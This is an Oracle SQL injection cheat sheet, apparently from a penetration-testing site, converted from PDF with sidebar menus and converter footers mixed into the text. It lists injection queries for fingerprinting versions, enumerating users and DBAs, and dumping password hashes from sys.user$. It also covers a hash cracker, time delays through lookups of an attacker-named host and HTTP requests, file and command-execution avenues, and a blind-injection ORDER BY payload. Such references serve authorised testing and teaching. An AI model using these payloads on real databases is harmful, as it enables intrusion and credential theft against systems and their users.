Oracle SQL Injection Cheat Sheet
Oracle SQL Injection Cheat Sheet
Oracle
Contact (2)
MSSQL
Site News (3) MySQL
Tools (17) PostgreSQL
Ingres
Audit (3) DB2
Misc (7) Informix
User Enumeration (4) I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Web Shells (3)
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the
query.
Uncategorized (3)
Yaptest (15) Version SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
Front End (1) SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;
Installing (2)
Overview (2) Comments SELECT 1 FROM dual — comment
Using (8) – NB: SELECT statements must have a FROM clause in Oracle so we have to use the
dummy table name ‘dual’ when we’re not actually selecting from a table.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
List Users SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv
List Password SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if
Hashes acct is locked
SELECT name,spare4 FROM sys.user$ — priv, 11g
Password checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
Cracker
List DBA SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; —
Accounts priv, list DBAs, DBA roles
List Databases SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
– Also query TNS listener for other databases. See tnscmd (services | status).
Find Tables SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE
From Column ‘%PASS%’; — NB: table names are upper case
Name
Select Nth SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER
Row BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Char
If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; —
doesn’t play well with SELECT statements
Case SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
Statement SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Time Delay BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are
slow
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward
lookups are slow
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is
filtered / slow
– Also see Heavy Queries to create a time delay
Command Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used
Execution too, though it normally failed for me.
Local File UTL_FILE can sometimes be used. Check that the following is non-null:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Access SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to
read and write files if it’s installed (it is not available in Oracle Express).
Default/System SYSTEM
Databases SYSAUX
Misc Tips
In no particular order, here are some suggestions from pentestmonkey readers.
Blind SQLI order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’
in order by and rownum = 1)=1) then column_name1 else column_name2 end — you must know 2
clause column names with the same datatype
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD